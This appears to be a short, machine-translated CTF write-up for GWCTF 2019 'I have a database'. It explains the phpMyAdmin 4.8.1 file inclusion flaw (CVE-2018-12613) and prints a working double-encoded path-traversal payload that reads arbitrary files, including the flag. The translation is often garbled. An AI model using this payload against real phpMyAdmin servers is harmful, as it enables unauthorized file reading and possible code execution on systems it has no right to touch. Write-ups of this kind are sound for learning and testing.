当前位置：网站首页>PhpMyAdmin 4.8.1 remote file contains vulnerability [gwctf 2019] I have a database

PhpMyAdmin 4.8.1 remote file contains vulnerability [gwctf 2019] I have a database

2022-07-18 14:01:00 【A traveler】

Knowledge point ：

phpmyadmin 4.8.1 The remote file contains a vulnerability （CVE-2018-12613）

The flaw is in PHPmyadmin Of index.php The next generation ;

See the principle for reference , A lot of barabara we can't understand now

Is directly ：index.php?target=db_datadict.php%253f/../../../../../../../../../

You can open the file , You can also write commands ;

structure index.php?target=db_datadict.php%253f/../../../../../../../../../flag Just turn it on flag La ;

In the folding knife question , First scan the file directory ;

Find out phpmyadmin, View version , Find the corresponding vulnerability ; Direct use of ;

版权声明
本文为[A traveler]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/199/202207160433129124.html